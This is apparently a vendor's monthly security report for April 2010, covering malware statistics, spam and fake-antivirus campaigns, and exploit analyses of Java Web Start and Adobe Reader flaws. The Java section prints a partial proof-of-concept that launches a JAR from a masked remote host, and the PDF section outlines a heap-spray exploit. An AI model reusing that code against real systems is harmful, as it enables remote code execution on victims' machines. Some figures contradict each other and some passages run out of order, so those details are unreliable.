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Ⅰ. Security Trends- April 2010

1. Malicious Code Trend

Malicious Code Statistics

The table below shows the percentage breakdown of the top 20 

malicious codes reported in April 2010. 

[Table 1-2] Top 20 Malicious Code Variant Reports 

As of April 2010, Win-Trojan/Agent is the most reported malicious 

code, representing 13.2% (675,610 reports) of the top 20 reported 

malicious code variants, followed by Win-Trojan/Onlinegamehack 

(571,698 reports) and Win-Trojan/Downloader (526,113 reports). 

The chart below categorizes the top malicious codes reported 

this month. 

[Fig. 1-1] Primary Malicious Code Type Breakdown

As of April 2010, TextImage/Autorun is the most reported mali-

cious code, followed by Win32/Induc and JS/Agent, respectively. 

6 new malicious codes were reported this month. 

[Table 1-1] Top 20 Malicious Code Reports 

The table below shows the percentage breakdown of the top 20 

malicious code variants reported this month. 

AhnLab Policy Center 4.0
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Compared to last month, the number of Trojan, adware, down-

loader and spyware increased, whereas, the number of worm, vi-

rus, script and dropper reports dropped. The number of Appcare 

was similar to the previous month.

There has been an increase in malicious code reports in April, 

which increased to 2,722,161 to 10,300,965 from 7,578,804 in 

March. 

[Fig. 1-2] Top Malicious Code Type Comparison Chart

The table below shows the percentage breakdown of the top 20 

new malicious codes reported in April 2010. 

[Table 1-3] Top 20 New Malicious Code Reports

As of April 2010, Win-Trojan/Downloader.1134080 is the most re-

ported new malicious code, representing 9.7% (44,518 reports) of 

the top 20 reported new malicious codes, followed by Win-Trojan/

Bho.923136 (36,673 reports). 

[Fig. 1-3] Monthly Malicious Code Reports

[Fig. 1-4] New Malicious Code Type Breakdown

As of April 2010, Trojan is the most reported new malicious code, 

representing 74% of the top reported new malicious codes. It was 

followed by adware (8%) and dropper (6%). 

Malicious Code Issues

Malware PDF spreads via FIFA World Cup 2010 emails 

As of April 2010, Trojan is the most reported malicious code, rep-

resenting 46.4% of the top reported malicious codes, followed by 

Worm (13.7%) and Virus (8.5%). 

AhnLab V3 MSS
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Increase in Blackhat SEO attacks 

Top computer security companies, including AhnLab, Inc., choose 

Blackhat Search Engine Optimization (SEO) techniques to be the 

biggest security threat this year. Blackhat SEO is defined as tech-

niques that are used to get higher search rankings in an unethi-

cal manner. Cyber criminals create malicious web pages that re-

direct innocent users and are linked to legitimate websites, and 

manipulate search results to raise the rank of malicious pages on 

search engines. Blackhat SEO is often used by cyber criminals for 

credit card frauds and malware propagation. As reported repeat-

edly overseas and stated in the previous volume, there have been 

cases of Blackhat SEO techniques used on web pages to lure users 

to fake Winter Olympics video. In April, there were reports on web 

pages with fake information on false positive detection by an an-

tivirus in Korea. Internet users are advised to get information from 

official or trusted web sites, and use reputation-rating based or 

website-analysis based web security solutions, for safe and secure 

web surfing.

[Fig. 1-5] Opening malicious PDF file

[Fig. 1-6] WinCE/TredDial.a detected/removed by V3 Mobile

Windows Mobile malware reported in Korea

A Windows Mobile (Versions 5.0, 6.1 and 6.5) malware, WinCE/

TredDial.a (called 3D Anti Terrorist), was reported in Korea. This 

malware was found in a game application. Compromised smart-

phones silently make expensive international calls without user 

permission. Those calls rack up a hefty bill for users.

The game is called, “3D Anti-Terrorist” in file named “antiterror-

ist3d.cab”. After the antiterrorist3d.cab is executed, the game is 

installed in Program Files, while the malicious file reg.exe is copied 

to the system directory under the name smart32.exe. This mali-

cious program then makes international phone calls to premium-

rate numbers.

With the increase of smartphone users, the number of operat-

ing systems for smartphones are also increasing. Smartphone 

applications are just like computer application programs. With 

this, smartphone users should obtain applications from trusted 

sources only, and take extra caution when installing applications.

Malware distributed via spam

The following spam with a subject that induces users to open the 

email has been reported.

Subject:: *domain* account notification

An exploit that takes advantage of a flaw in the TIFF file parsing 

in Adobe Reader has been reported. This malware campaign uses 

a FIFA World Cup 2010 theme, in an attempt to trick end users 

into executing a malicious PDF file. The attack exploits a recently 

patched vulnerability in Adobe Reader – CVE-2010-0188. It takes 

the form of an email containing a malicious PDF attachment. At-

tackers have removed a number of objects from a clean PDF to 

reduce the file size, and then inserted a malicious object at the 

beginning of the file containing the malicious TIFF. All of the shell-

code is contained in the TIFF file. The malware creates a directory 

and two files, and attempts to steal sensitive information. With 

the recent rise in manipulated PDF exploiting Adobe Acrobat 

flaws, users are advised to always update their Adobe products.
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Malware propagated via ActiveX

A malicious ActiveX that installs a keylogger (utility that logs and 

records key strokes) disguised as “BGM Player” and “CafeOn” has 

been reported in Korea. Unlike existing malware, the one report-

ed this month contains a digital signature for the file. Users are 

advised not to install ActiveX from untrusted websites.

[Fig. 1-7] Digital signature of malicious file

Dear Customer,

This e-mail was sent by *domain* to notify you that we have tempo-

rarily prevented access to your account.

We have reasons to believe that your account may have been ac-

cessed by someone else. Please run attached file and Follow in-

structions

(C) *domain*

If the email account of the user is id@ahnlab.com, the subject of 

the spam will be “ahnlab.com account notification”. The message 

contains malware or a link to it. Users are advised not to open any 

attached files or click any links.

Spyware that attacks security products

The recently reported spyware PWS (Win-Spyware/PWS.Onlin-

eGame) that steals account information from online games modi-

fies the module of specific computer security products to in a way 

that will not allow normal operation. A spyware-infected security 

software will not function properly. This new infection technique 

bypasses security solutions that self-diagnose and self-repair, 

and is expected to cause additional security threats. This spyware 

usually infects computer systems by exploiting IE or OS vulner-

abilities. Users are advised to update their IE and OS to the latest 

versions to prevent attacks. It is also important not to open any 

suspicious email or click any untrusted link.

Constant appearance of rogue antivirus

Rogue antivirus is causing increasing damages. It used to be dis-

tributed via random websites through ActiveX control, but the 

number of rogue antivirus has decreased owing to efforts by 

several security companies and institutes. However there is now 

a sharp rise in rogue antivirus using security vulnerabilities, other 

adware bundles or update programs to install associated pro-

grams of Internet services, such as online storage. Once installed, 

the rogue typically uses techniques, such as changing the Win-

dows desktop background to warn of a supposed infection and 

displaying other warnings, to push users to buy the full version 

of the software

[Fig. 1-8] Rogue antivirus installed without user’s consent

Users unknowingly install rogue antivirus programs. These pro-

grams display messages saying the victim machine is infected, 

even though it is not. Most of these programs extort money from 

users by tricking them into a subscription to charge them auto-

matically every month. To prevent this from happening, do not 

blindly click “Yes” or “Ok” to pop-ups when installing a new pro-

gram or using a new service, and always check whether there is a 

new program installed on your system. 

AhnLab Trusguard
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2. Security Trend

Security Statistics

Microsoft Security Updates- April 2010

Microsoft released 11 security updates in April.

[Fig. 1-9] MS Security Updates

[Fig. 1-12] Vulnerabilities Exploited to Distribute Malicious Code

[Fig. 1-10] Website Intrusions/Distributors of Malicious Code

[Table 1-4] MS Security Updates for April 2010

Microsoft issued 11 security updates this month, which is much 

higher than the 2 issued last month. A PoC was released for MS10-

022 last month. This remote code execution vulnerability exists 

in VBScript when it interacts with Windows Help files when using 

Internet Explorer. When the user presses the F1 key, the malicious 

file will be executed through winhlp32.exe to conduct arbitrary 

commands. The malicious file may be saved to the local file sys-

tem, SMB or WedDay.  Overly long parameter sent to the help file 

will result in buffer overflow which can be leveraged to crash In-

ternet Explorer.

[Fig.1] Intruded website structure

Malicious Code Intrusion: Website

The chart above shows the number of website intrusions and dis-

tributors of malicious codes. There has been a stable increase since 

January 2010. Most of the malicious codes distributed through 

violated sites in April 2010 were the variants of Win-Trojan/Da-

onol, which change the malicious script URLs in the websites. If a 

website consists of a main domain and subdomains, and the main 

domain gets intruded, it will also affect all it’s subdomains. 
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A URL exists in <jnlp-file> parameter, “-J<option>” allows Ja-

vaws to provide options to the virtual machine. One of the op-

tions provided to the virtual machine, “-jar”, is a command that 

allows the virtual machine to use JAR (Java Archive) file. Oracle 

Java Web Start provides a method to the Java developer to en-

able users to install and start their application using the URL of 

JNLP file. Oracle disclosed NPAPI and ActiveX technology that are 

called “Java Plugin” and “Java Deployment Toolkit” for developers 

to use this method on the client machine. The libraries that pro-

vide this technology are jp2iexp.dll, npjp2.dll, npdeploytk.dll and 

deploytk.dll.

The two functions associated with Web Start application are as 

below.

The chart above shows the statistics of vulnerabilities used to dis-

tribute malicious codes in websites exploited in April 2010. Based 

on this chart, the number of MS06-014 is the highest, followed by 

MS10-002.

Security Issues

Java JRE deploytk.dll ActiveX Control Multiple BOF vulnerability

BOF vulnerability in Java JRE will be discussed in this volume. Ora-

cle Java Web Start is a component of JRE (Java 2 Runtime Environ-

ment). Information on Web Start application is saved in the JNLP 

(Java Network Launching Protocol) file, and runs with Javaws Util-

ity as default.

[Fig. 1-13] Command line parameter of Javaws Utility

Class ID Java Technology

---------------------------------------------------------------------------------------------

CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBADeployment Kit Control

8AD9C840-044E-11D1-B3E9-00805F499D93         Java Plugin Control

[Fig. 1-14] ActiveX object (IE) used to start the Start application

• launch - Launches JNLP application using the plugin if available.

• launchWebStartApplication(jnlp) - Launches the JNLP application speci-

fied by the jnlp file parameter.
[Fig. 1-15] Two functions associated with Web Start application

Below is a part of the PoC that uses the vulnerability in IE.

var u = “http: -J-jar -J\\\\xxx.xxxxxxxxx.com\\xxxx.jar none”;

if (window.navigator.appName == “Microsoft Internet Explorer”) {

    var o = document.createElement(“OBJECT”);

    o.classid = “clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA”;

    o.launch(u);
[Fig. 1-16] PoC that uses vulnerability

Command line Injection vulnerability exists in Oracle Java Web 

Start. This vulnerability is caused by inability to verify JNLP net-

work path input because of “Java Plugin” and “Java Deployment 

Toolkit” when starting Java Web Start. In other words, when “Java 

Plugin” and “Java Deployment Toolkit” are used to start Web Start 

application, the URL path is checked for whether it is directing to 

the correct network resource. If the URL is correct, Javaws Com-

mand-line Utility is executed. If “-J” character is added to the URL, 

Web Start deployment technology sends an inaccurate command 

line parameter to Javaws Utility.

A vulnerable section of deploytk.dll in version 6.0.180.7 is as be-

low.

1000B8AF    8D45 E4         LEA EAX,DWORD PTR SS:[EBP-1C]

1000B8B2    50              PUSH EAX

1000B8B3    8D45 A0         LEA EAX,DWORD PTR SS:[EBP-60]

1000B8B6    50              PUSH EAX

1000B8B7    53              PUSH EBX

1000B8B8    53              PUSH EBX

1000B8B9    53              PUSH EBX

1000B8BA    53              PUSH EBX

1000B8BB    53              PUSH EBX

1000B8BC    53              PUSH EBX

1000B8BD    56              PUSH ESI

1000B8BE    8D85 9CFEFFFF   LEA EAX,DWORD PTR SS:[EBP-164]

1000B8C4    50              PUSH EAX

1000B8C5    C745 A0 4400000>MOV DWORD PTR SS:[EBP-60],44

1000B8CC    FF15 58210210  CALL DWORD PTR DS:[<&KERNEL32.

CreateProc>;kernel32.CreateProcessA

[Fig. 1-17] Vulnerable section in deploytk.dll file
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[Table 1-5] Website Security Summary

3. Web Security Trend

Web Security Statistics

Web Security Summary

Monthly Reported Malicious Codes

[Fig. 1-20] ] Monthly Reported Malicious Codes

As of April 2010, there were 111,045 reported malicious codes, 

926 types of reported malicious code, 1,028 reported domains 

with malicious code, and 3,898 reported URLs with malicious 

code. The number of reported malicious codes, type of reported 

malicious codes and URLs with malicious code have decreased 

from last month, but the number of reported domains increased. 

The parameter value when calling Kernel32.CreateProcessA is as 

below.

ModuleFileName = “C:\Program Files\Java\jre6\bin\javaws.exe”

CommandLine = “”C:\Program Files\Java\jre6\bin\javaws.exe” 

                                                   http: -J-jar -J\\xxx.xxxxxxxxx.com\xxxx.jar none”

pProcessSecurity = NULL

pThreadSecurity = NULL

InheritHandles = FALSE

CreationFlags = 0

pEnvironment = NULL

CurrentDir = NULL

pStartupInfo = 01E6F4FC

[Fig. 1-18] Parameter value when calling Kernel32.CreateProcessA

The malicious code that exploits the vulnerability runs when 

“”C:\Program Files\Java\jre6\bin\javaws.exe” “http:-J-jar –J \\xxxx.

xxxxxxxx.com \xxxx.jar none” is the parameter when calling Ker-

nel32.CreateProcessA from deploytk.dll.

If Javaws “-J” parameter and the virtual machine’s parameter, 

“-jar”, are connected to use, the attacker will get a way from the 

restricted Java Security Sandbox and execute the arbitrary Java 

code after logging in with user permission. A remote attacker will 

create a malicious HTML document and trick the user into open-

ing the file to exploit the vulnerability.

Website intrusion case study: Win-Trojan/Online game-

hack.100931 attacks antivirus programs

Website intrusion that distributed Win-Trojan/Onlinegame-

hack.100931 was found in local online game sites. Download-

ing m.exe will create a [random number].dll in the %SYSTEM%\

softqq folder. The created DLL file is an AVKiller that shuts down 

antivirus programs by damaging their files.

[Fig. 1-19] Distribution stage of Win-Trojan/Onlinegamehack.100931

The DLL file also downloads and executes game hacking mali-

cious codes from specific web pages.  You must take extra pre-

caution as these malicious codes directly attack security software 

to kill it.

As of April 2010, the number of reported malicious codes de-

creased 55% to 111,045, from 202,910 the previous month 

Monthly Reported Types of Malicious Code

[Fig. 1-21] Monthly Reported Types of Malicious Code 
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[Fig. 1-22] Monthly Domains with Malicious Code 

Monthly Domains with Malicious Code

[Table 1-24] Top Distributed Types of Malicious Code 

Top 10 Distributed Malicious Codes

Adware is the most distributed type of malicious code represent-

ing 61% (67,689 reports) of the top distributed type of malicious 

codes, followed by Trojan that represent 10.4% (11,534 reports). 

[Table 1-7] Top 10 Distributed Malicious Codes 

As of March 2010, the number of reported domains with mali-

cious code increased 7% to 1,028, from 959 the previous month. 

Monthly URLs with Malicious Code

[Fig. 1-23] Monthly URLs with Malicious Code 

As of April 2010, the number of reported URLs with malicious 

code decreased 15% to 3,023, from 4,594 the previous month. 

Distribution of Malicious Codes by Type

[Table 1-6] Top Distributed Types of Malicious Code 

As of April 2010, Win-Adware/Shortcut.InlivePlayerActiveX.234 is 

the most distributed malicious code, with 26,859 cases reported. 

7 new malicious codes, including Win-Adware/Juneip.645632, 

emerged in the top 10 list this month 

Web Security Issues

Facebook password reset confirmation spam

The number of social network sites is rising in this information 

knowledge society where most people gather and use informa-

tion from the Internet. Social networking is the grouping of in-

dividuals into specific groups. Although social networking is 

possible in person- in the workplace or school- it is most popu-

lar online. This is because the Internet is filled with millions of 

individuals who are looking to meet other people to gather and 

share first-hand information and experiences on various topics 

and interests. These sites are called Social Networking Site. With 

There were 926 reports this month, which is 11% less than the 

previous month. 
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[Fig. 1-25] Spam message

The file attachment uses an icon similar to MS Word document to 

lure users into opening the file.

[Fig. 1-26] File attachment

V3 diagnoses the file as Win-Trojan/Bredolab.48640.B and remove 

it. Please refer to the following guide to protect your computer 

against malicious codes that are distributed via spam mail.

1. Be careful not to open any email from anyone you don’t know. 

Just delete it. 

2. Install an antivirus program and regularly update it to the latest 

version and turn on real-time monitoring.

3. Always scan file attachments with an antivirus program before 

opening.

4. Do not click on any URL links in email messages.

Hackers exploit McAfee false-positive problem to distribute fake an-

tivirus by using Blackhat SEO

On April 21, a security update issued by McAfee caused its anti-vi-

rus product to mistakenly detect a harmless Windows file, svchost.

exe, as “W32/Wecorl.a” and caused computers to become inop-

erable. By using Blackhat SEO techniques, cyber-criminals have 

managed to get poisoned web pages high in the search rankings 

if you search for information on the McAfee false-positive. If you 

click on a dangerous link in the search results, your computer can 

be hit by a fake anti-virus attack. 

[Fig. 1–27] Links to websites that harbors the fake antivirus

The malicious web page is designed to trick you into believing 

you have a serious security problem on your computer.

[Fig. 1-28] Security warning

social networking sites getting more popular, there has been an 

increase in malicious activities. Recently, there were even words 

about Facebook accounts getting hacked for sale. The news that a 

Russian hacker stole and sold 1.5 million Facebook accounts and 

passwords at 2.5 cents each shocked Facebook users. Facebook 

announced that they will work with law enforcement to pursue 

those responsible. Not long after, this incident was used as anoth-

er means of attack. Fake emails that claimed to be from Facebook 

were sent to users encouraging them to click on an attachment to 

view their updated password. The spam mail is as below.

If you click OK, a rogue antivirus will run as below, and deliver a 

fake scare message.

[Fig. 1–29] Fake scan results report by fake antivirus

After displaying a fake scan report, it will show a scare message 

as below.
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[Fig. 1–30] Scare message that the computer is infected

If you click the “Protect” button, setup_build30 _195.exe (353,280 

bytes) will be downloaded and executed. If you download and ex-

ecute this file, a fake antivirus will be installed to your system, and 

messages that claim to have detected a virus from your normal 

files will be displayed. You may fall victim to these “attacks” and 

pay to register the fake antivirus software.

AhnLab SiteGuard Pro
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Ⅱ. Technical Insight

1. Malicious codes exploit PDF vulnerabilities

Adobe Acrobat Reader vulnerabilities- PDF file exploiting attacks- 

that started appearing since 2007 became the most occurring file-

based attacks in 2008 and 2009. Multiple PDF vulnerabilities have 

been reported this year, and a surge in attacks that exploit PDF 

file vulnerabilities is expected. To begin with, there was Adobe 

Reader, Acrobat and Flash Player Remote Code Execution (CVE-

2009-1862) vulnerability in July last year. This vulnerability exists 

in the Flash Player, but it also affects Adobe Acrobat Reader, and 

therefore is reported as a different PDF vulnerability. Accordingly, 

one malicious Flash file was embedded in a PDF File to launch 

multiple attacks via not only the web, but also PDF files.  

CVE-2010-0188 1 which will be discussed in this column is also 

a similar case. In the past, LibTIFF TiffFetchShortPair Remote Buf-

fer Overflow (CVE-2006-3459) vulnerability, announced in 2006, 

was use to jailbreak early iPhones. This vulnerability exists in libtiff 

3.8.1 and previous versions. Another PDF vulnerability was found 

when this open source library was used in Adobe Reader 9.3.0 and 

previous versions. Attacks were launched by embedding vulner-

able Tag Image File Format (TIFF) file that already existed in PDF 

files. Occasional reports on multiple applications being affected 

by a single vulnerability are prompting more concern towards the 

same problem occurring when using the same engine for com-

patibility and extendibility or using an open source library. This 

vulnerability was warned by Microsoft Malware Protection Center 

blog, and just like other typical file-based attacks, the malicious 

file was spread through email file attachment. 

1.http://www.adobe.com/support/security/bulletins/apsb10-07.html

[Fig. 2-1] Email with malicious PDF file attached (Source: Crontab)

We analyzed the malicious PDF file that exploited the CVE-2010-

0188 vulnerability.  Taking into account the characteristics of 

file-based attacks, a static analysis was conducted to predict the 

scenario, and a dynamic analysis was conducted to verify the sce-

nario. 

Static analysis

In old malicious PDF files, un-encoded Javascript character strings 

could be found just by opening the file. However, today, various 

encoding methods are being used to hide the content. Javascript 

(/JS, /Javascript) character strings are also encoded together to 

make it difficult to analyze or detect. With this, compressed (/Flat-

eDecode) script data need to be decoded to check the details of 

the content. 

[Fig. 2-2] Internal JavascriptAhnLab TrusGuard DPX
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The Javascript was hidden as a compressed script data in the PDF 

file as above, and heap-spray method that is frequently used in 

web and PDF file attacks was used. 

① Shellcode (Attacker’s code)  + ② Heap-spraying code  + ③ 

Vulnerability causing code

exploit.tif file that caused the vulnerability existed in another 

compressed script. The following malicious TIFF form was found 

by decoding (Base64) the decompressed the script. 

[Fig. 2-3] Decompressed script

[Fig. 2-4] Base64 decoding

The internal structure of the TIFF file was as below.

[Fig. 2-5] Internal structure of exploit.tif 

In the exploit.tif file, DotRange (Tag ID: 0x0150) tag that caused 

the CVE-2006-3459 vulnerability existed, and the DotRange Value 

was filled with multiple 0C0C0C0C. 0C0C0C0C is also a memory 

address used by the heap-spraying technique. The attack scenar-

io can be predicted just by piecing together the data available. 

When more DotRange Value character strings than the allotted 

buffer are copied to stack while parsing the TIFF file, the return 

address (RET) or exceptions handler (SEH) address will be over-

written by 0X0C0C0C. Accordingly, the program flow will change 

to 0X0C0C0C0C that has been filled earlier through Javascript in 

the return process, and the attacker’s shellcode will be executed. 

Dynamic analysis

The predicted scenario was verified through the following dy-

namic analysis. Opening the malicious PDF file runs AcroForm.api 

and TIFFReadiretory routines repeatedly to parse exploit.tif file 

data. DotRange Value was copied to stack through the memcpy() 

function. 

[Fig. 2-6] Stack overflow function

The stack before and after the data has been copied shows that 

the RET address has been overwritten by 0X0C0C0C0C.

[Fig. 2-7] Stack structure

Before the function is returned, heap space is filled in advance 

with the attacker’s shellcode through Javascript, and when BP 

(Break Point) is set in the 0X0C0C0C0C point of the heap memory 

address, the overwritten RET address is referred to jump to the 

address. 

After passing through the needless NOP codes from the jumped 

point, the attacker’s shell codes that follow after will be executed. 

AhnLab V3 Zip
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[Fig. 2-8] Shellcode execution

[Fig. 2-9] After shellcode decoding

The shellcode will pass through the internal decoding routine as 

below, and drop a.exe(Win-Trojan/Qaantiz.61044) file in the C:\ 

drive from the PDF file to execute it.

[Fig. 2-10] Malicious PDF file execution process

Many PDF vulnerabilities reported until today are directly/indi-

rectly using Javascript to launch successful attacks. Accordingly, 

the Javascript option should be disabled in Adobe Reader de-

pending on the situation to prevent damages. A safer method 

would be to always update your Adobe Reader and antivirus to 

the latest version.  

2. Security Trends and Issues- China

MS10-018 vulnerability exploited 18 million times

A Chinese security company, Rising, reported on April 8 that there 

has been a sharp rise in the number of attacks perpetrated by ex-

ploiting MS10-018 (MS Internet Explorer vulnerability).

[Fig. 2–11] Sharp rise in attacks exploiting MS10-018 vulnerability in China

According to Rising, there have been a total of 18.39 million at-

tacks exploiting MS10-018 vulnerability from March to April 7, 

and on April 7 itself, 310 cases were reported in China. Howev-

er, only 50% of the computers in China have installed a security 

patch. Microsoft released a security patch for MS10-018 vulner-

ability on March 31, so it is most important to install it right away 

through Windows Update.

KingSoft reports 2009 Chinese security threat and trends

A Chinese security company, KingSoft, published a Chinese secu-

rity trend report for 2009.

The report contains the following information, and also reveals 

security threat predictions for 2010.

2009 Chinese security trend analysis

According to KingSoft, a total of 20,684,223 malicious codes 

were found in China in 2009 alone- this is a 49% increase from 

13,899,717 discovered in 2008. There is a huge difference in the 

number prior to 2008, and this is considered to be caused by 

cloud security technology.
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[Fig. 2–12] No. of malicious codes found from 2003 to 2009

The malicious codes were broken down in the following pie chart. 

Trojan horse was the most reported malicious with 15,223,588 re-

ports (73.6%). The reason Trojan horses were reported the most is 

because it is distributed through websites. Among the reported 

Trojan horses, 8,393,781 were distributed via websites.

[Fig. 2–13] Trojan horse account for 73.6% of malicious codes reported in 2009

Cloud security technology also caused 840 million times of in-

quiry into cloud database, and about 76 million computers were 

infected by malicious codes. The number of infected system in-

creased 13.8% from 2008. The number of malicious websites cre-

ated for phishing purposes also increased sharply. There were 

more than 10,000 malicious websites reported for one month, 

from December 2009 to January 2010.

2009 malicious “technology” trend

KingSoft reported BlackHat Search Engine Optimization (SEO) 

as the technique used the most to distribute malicious codes via 

Baidu, the biggest search engines in China.

[Fig. 2–14] Malicious websites in higher search ranking in Baidu

As it can be seen from above, search results have been manipu-

lated to raise the rank of malicious pages on Baidu search engine. 

It is reported that there are even times when more than 10 of the 

web pages on the top 20 search results in China are malicious.

Major security incidents in China- 2009

KingSoft reported the main security incidents in China in 2009. 

The reports are based on lunar calendar, so it could different from 

the Gregorian dates.

1) Jan. 12, 2010- Dispersed DoS attack on Baidu by exploiting DNS 

server manipulation

KingSoft analyzed the dispersed DoS attack to be perpetrated by 

manipulating the DNS server due to difficulty in directly attacking 

or hacking a major website.

2) Exploitation of MS10-002 Internet Explorer zero-day vulnerabil-

ity

Before Microsoft released a security update for the vulnerability 

that was first reported on January 15, 2010, the number of attack 

increased 36.3% daily. And, up to 428,144 attacks were reported 

on one day.

3) Internet access denied due to attack against Chinese music 

portal site

This incident occurred on May 9, 2009. During an attack against 

a popular Chinese music portal site, the number of DNS inquiry 

increased rapidly to cause many systems to fail in DNS inquiry. 

This attack caused Internet service disruption in 10 cities in China 

for over 1 hour.
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4) Green Dam Youth Escort installation controversy

On June 2009, the Chinese government announced that the in-

stallation of the Green Dam Youth Escort (content filtering soft-

ware) would be compulsory, but after pervasive criticism and re-

sistance, the plans for the installation of this software were put on 

hold on July 1.

5) Financial gains through distribution of fake antivirus

Many rogue antivirus programs were distributed in China in 2009 

for financial gains.

6) Amendment of criminal law during China’s 11th National Peo-

ple’s Congress

Criminal laws on cybercrimes were amended during China’s 11th 

National People’s Congress on February 2009. The government 

amended the law to impose heavier penalties on cybercrimes.

7) 猫癬 malicious code attack

Kingsoft found this malicious code on January 18, 2009. The mali-

cious file, usp10.dll, infects your system via the network and USB. 

About 500 variants have been found until today, and approxi-

mately 400,000 computer systems are infected everyday in China.

2010 Security Threat Forecast Analysis

According to the security threats analyzed by Kingsoft in 2009, 

the following threats were forecasted in 2010.

1) Increase in Zero-Day (0-Day) attacks

2) Increase in phishing sites and malware distributed through ma-

licious websites

3) Increase in Trojan horses

4) Increase in attacks via wireless network

Kingsoft reported a variety of security threats in 2009 as above. 

China is not only geographically close to Korea, but also has a 

close network environment relation with Korea. Therefore, we 

should always be aware of the security issues and trends of China. 

You are also advised to take interest in articles about security is-

sues in China.
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